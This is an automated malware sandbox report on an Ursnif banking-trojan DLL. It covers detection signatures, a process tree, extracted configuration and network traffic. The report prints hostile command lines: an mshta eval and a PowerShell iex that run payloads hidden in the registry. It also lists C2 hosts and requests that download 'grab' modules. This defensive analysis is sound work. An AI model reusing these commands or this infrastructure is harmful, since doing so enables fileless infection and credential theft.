Play interactive tour

Edit tour

Analysis Report vnaSKDMnLG

Overview

General Information

Sample Name:	vnaSKDMnLG (renamed file extension from none to dll)
Analysis ID:	322748
MD5:	c9d954b3f1c512e6804fd8f5637b58b6
SHA1:	b452040d8072117ddbe1adf9e1eab5e4bdb150bd
SHA256:	d7fafabbb381c34185ad30f0d5337ec8072d0705e0e9fb1d91e7358ed934fff3
Tags:	dllgozitr01ursnif
Most interesting Screenshot:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Dot net compiler compiles file from suspicious location

Yara detected Ursnif

Allocates memory in foreign processes

Changes memory attributes in foreign processes to executable or writable

Compiles code for process injection (via .Net compiler)

Creates a COM Internet Explorer object

Creates a thread in another existing process (thread injection)

Disables SPDY (HTTP compression, likely to perform web injects)

Found Tor onion address

Hooks registry keys query functions (used to hide registry keys)

Injects code into the Windows Explorer (explorer.exe)

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Modifies the export address table of user mode modules (user mode EAT hooks)

Modifies the import address table of user mode modules (user mode IAT hooks)

Modifies the prolog of user mode functions (user mode inline hooks)

Sigma detected: MSHTA Spawning Windows Shell

Sigma detected: Suspicious Csc.exe Source File Folder

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file access)

Writes or reads registry keys via WMI

Writes registry values via WMI

Writes to foreign memory regions

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops certificate files (DER)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Suspicious Rundll32 Activity

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 5560 cmdline: loaddll32.exe 'C:\Users\user\Desktop\vnaSKDMnLG.dll' MD5: 76E2251D0E9772B9DA90208AD741A205)

regsvr32.exe (PID: 4360 cmdline: regsvr32.exe /s C:\Users\user\Desktop\vnaSKDMnLG.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

control.exe (PID: 6968 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)

rundll32.exe (PID: 7012 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)

WerFault.exe (PID: 4288 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4360 -s 728 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cmd.exe (PID: 4472 cmdline: C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Explorer\iexplore.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

iexplore.exe (PID: 5804 cmdline: C:\Program Files\Internet Explorer\iexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 4356 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 4636 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:82952 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 6868 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17434 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 7108 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17438 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 6224 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17446 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5836 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5804 CREDAT:17456 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

mshta.exe (PID: 6484 cmdline: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\Audiinrt'));if(!window.flag)close()</script>' MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)

powershell.exe (PID: 4760 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').Barclers)) MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

csc.exe (PID: 1808 cmdline: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline' MD5: B46100977911A0C9FB1C3E5F16A5017D)

cvtres.exe (PID: 6724 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RESBA2B.tmp' 'c:\Users\user\AppData\Local\Temp\q3xypckz\CSC358FCCDF4025435CA355D903053645.TMP' MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)

csc.exe (PID: 6688 cmdline: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.cmdline' MD5: B46100977911A0C9FB1C3E5F16A5017D)

cvtres.exe (PID: 6948 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RESC8D1.tmp' 'c:\Users\user\AppData\Local\Temp\chv50z53\CSCD671F0735D74415BB6A373562E60C48B.TMP' MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)

explorer.exe (PID: 3292 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

RuntimeBroker.exe (PID: 3088 cmdline: MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)

cmd.exe (PID: 4724 cmdline: cmd /C 'nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user~1\AppData\Local\Temp\4EC0.bi1' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RuntimeBroker.exe (PID: 3756 cmdline: MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)

cleanup

Malware Configuration

Threatname: Ursnif

{"server": "12", "whoami": "user@536720hh", "dns": "536720", "version": "250166", "uptime": "167", "crc": "2", "id": "3050", "user": "0291816208f8d2d8cdc8873ad856765a", "soft": "3"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.261787991.0000000005528000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.261868993.0000000005528000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.261831474.0000000005528000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.261898772.0000000005528000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.261995232.0000000005528000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000001E.00000003.441296482.0000000002FB0000.00000004.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000022.00000002.446420368.0000024E31FF5000.00000004.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.365991031.000000000532C000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.423867966.0000000002940000.00000004.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.261930125.0000000005528000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000026.00000002.515638073.0000024340635000.00000004.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000001F.00000002.446120837.00000000006D5000.00000004.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000022.00000003.445169971.0000024E32160000.00000004.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.261629754.0000000005528000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.261360311.0000000005528000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000016.00000003.416910277.0000020EA8E70000.00000004.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000001F.00000003.432292653.000002090C820000.00000004.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000002.482163983.0000000002910000.00000040.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000020.00000002.519882408.0000026754D05000.00000004.00000001.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: control.exe PID: 6968	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: regsvr32.exe PID: 4360	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: powershell.exe PID: 4760	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 17 entries

Sigma Overview

System Summary:

Sigma detected: Dot net compiler compiles file from suspicious location

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline', CommandLine: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline', CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').Barclers)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4760, ProcessCommandLine: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline', ProcessId: 1808

Sigma detected: MSHTA Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').Barclers)), CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').Barclers)), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\Audiinrt'));if(!window.flag)close()</script>', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6484, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').Barclers)), ProcessId: 4760

Sigma detected: Suspicious Csc.exe Source File Folder

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline', CommandLine: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline', CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').Barclers)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4760, ProcessCommandLine: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline', ProcessId: 1808

Sigma detected: Suspicious Rundll32 Activity

Show sources

Source: Process started

Author: juju4: Data: Command: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h, CommandLine: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h, CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: C:\Windows\system32\control.exe -h, ParentImage: C:\Windows\System32\control.exe, ParentProcessId: 6968, ProcessCommandLine: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h, ProcessId: 7012

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: vnaSKDMnLG.dll

Avira: detected

Found malware configuration

Show sources

Source: regsvr32.exe.4360.1.memstr

Malware Configuration Extractor: Ursnif {"server": "12", "whoami": "user@536720hh", "dns": "536720", "version": "250166", "uptime": "167", "crc": "2", "id": "3050", "user": "0291816208f8d2d8cdc8873ad856765a", "soft": "3"}

Multi AV Scanner detection for submitted file

Show sources

Source: vnaSKDMnLG.dll

Virustotal: Detection: 11%

Perma Link

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 1_2_04A842B4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,

1_2_04A842B4

Networking:

Creates a COM Internet Explorer object

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocServer32	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocServer32	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandler32	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandler32	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandler	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandler	Jump to behavior

Found Tor onion address

Show sources

Source: powershell.exe, 00000016.00000003.416910277.0000020EA8E70000.00000004.00000001.sdmp	String found in binary or memory: ADVAPI32.DLLCryptGetUserKeyKERNEL32.DLLLoadLibraryExWWS2_32.DLLWSARecvWSASendclosesocketrecvCHROME.DLLsoft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%xversion=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&ip=%s&os=%s%u.%u_%u_%u_x%u&tor=1&dns=%s&whoami=%sMozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s); Win64; x64http://https://file://USER.ID%lu.exe/upd %luCopyright (c) 2009 Microsoft Corporation.Software\AppDataLow\Software\Microsoft\MainBlockTempClientSystemIniKeysScrKillLastTaskLastConfigCrHookEdHookOpHookExec.onionTorClientTorCrc%s %s HTTP/1.1
Source: explorer.exe, 0000001E.00000003.441296482.0000000002FB0000.00000004.00000001.sdmp	String found in binary or memory: ADVAPI32.DLLCryptGetUserKeyKERNEL32.DLLLoadLibraryExWWS2_32.DLLWSARecvWSASendclosesocketrecvCHROME.DLLsoft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%xversion=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&ip=%s&os=%s%u.%u_%u_%u_x%u&tor=1&dns=%s&whoami=%sMozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s); Win64; x64http://https://file://USER.ID%lu.exe/upd %luCopyright (c) 2009 Microsoft Corporation.Software\AppDataLow\Software\Microsoft\MainBlockTempClientSystemIniKeysScrKillLastTaskLastConfigCrHookEdHookOpHookExec.onionTorClientTorCrc%s %s HTTP/1.1
Source: control.exe, 0000001F.00000002.446120837.00000000006D5000.00000004.00000001.sdmp	String found in binary or memory: ADVAPI32.DLLCryptGetUserKeyKERNEL32.DLLLoadLibraryExWWS2_32.DLLWSARecvWSASendclosesocketrecvCHROME.DLLsoft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%xversion=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&ip=%s&os=%s%u.%u_%u_%u_x%u&tor=1&dns=%s&whoami=%sMozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s); Win64; x64http://https://file://USER.ID%lu.exe/upd %luCopyright (c) 2009 Microsoft Corporation.Software\AppDataLow\Software\Microsoft\MainBlockTempClientSystemIniKeysScrKillLastTaskLastConfigCrHookEdHookOpHookExec.onionTorClientTorCrc%s %s HTTP/1.1

Source: Joe Sandbox View	IP Address: 87.248.118.23 87.248.118.23
Source: Joe Sandbox View	IP Address: 151.101.1.44 151.101.1.44

Source: Joe Sandbox View	JA3 fingerprint: 9e10692f1b7f78228b2d4e424db3a98c
Source: Joe Sandbox View	JA3 fingerprint: 7dd50e112cd23734a310b90f6f44a7cd

Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200
Source: unknown	TCP traffic detected without corresponding DNS query: 63.250.47.200

Source: global traffic	HTTP traffic detected: GET /images/_2B9CjQr1xAViB33KLEZFl/2znYpePgiBaym/Zcv7ASeM/RH1S7KGYN6l8JiGWg4e9nXb/NQZq1SSxJi/mc5yp3cGYcmh41_2B/sgGwdOmEGgkx/5KQWfRKKgWK/Xt2u1awqIScbRf/sgOFy4dR5ErSJgERDDH7r/_2FEWj4i_2BFzqwq/_2BgPzFAK8qrY4B/dRdOEARjck/1iLUKWQnn/K.avi HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: groovcerl.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: groovcerl.xyzConnection: Keep-AliveCookie: PHPSESSID=d50vmo31p61r9jkm7vp6r303t1; lang=en
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: groovcerl.xyzConnection: Keep-AliveCookie: PHPSESSID=d50vmo31p61r9jkm7vp6r303t1; lang=en
Source: global traffic	HTTP traffic detected: GET /images/GHw2NFoi/uGw7IwXJCQkcQl1KQVbo_2B/820znWDaSW/Ov_2B4z8yJqAozhde/qBE2ImkkKvCH/VXQwRoWXG5R/k9cBAONcCOy6zC/schMO1Bz6Hv1XAWY_2Bj1/Epe_2FrlHpFxpDqb/wkcRD0A5Nn7ZtOM/LcznbG_2FsTdDMEgaN/jIHJPS5D0/Fp7e0qKKctEIDJT6MGkX/RCGhIjX0.avi HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: groovcerl.xyzConnection: Keep-AliveCookie: lang=en; PHPSESSID=d50vmo31p61r9jkm7vp6r303t1
Source: global traffic	HTTP traffic detected: GET /images/_2B5hZPBBeMEkvAROXtH1/WZsdWhoR7wg_2Bd_/2BoOtRydsyDG3r9/w2GcVR9gar6CncemWY/lVp7AN_2F/YEmcQ_2BEaBJyDUMlsGk/jN8oDN7xGQMygxh4f9g/_2FyagJjAZDLRvoreYuui8/LRxePg_2BGB0U/MpT06eFx/VfNkohToJFJcoGZ4_2Bgo5f/Opt0pN_2FL/JG_2FCiZ4ufIuI3kc/AT1ZiYCskKpp/v3TP_2FuS2b/9i.avi HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: groovcerl.xyzConnection: Keep-AliveCookie: lang=en; PHPSESSID=d50vmo31p61r9jkm7vp6r303t1
Source: global traffic	HTTP traffic detected: GET /grab32.rar HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 63.250.47.200Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /grab64.rar HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: 63.250.47.200Connection: Keep-AliveCache-Control: no-cache

Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.facebook.com/favicon.ico</FavoriteIcon> equals www.facebook.com (Facebook)
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.myspace.com/favicon.ico</FavoriteIcon> equals www.myspace.com (Myspace)
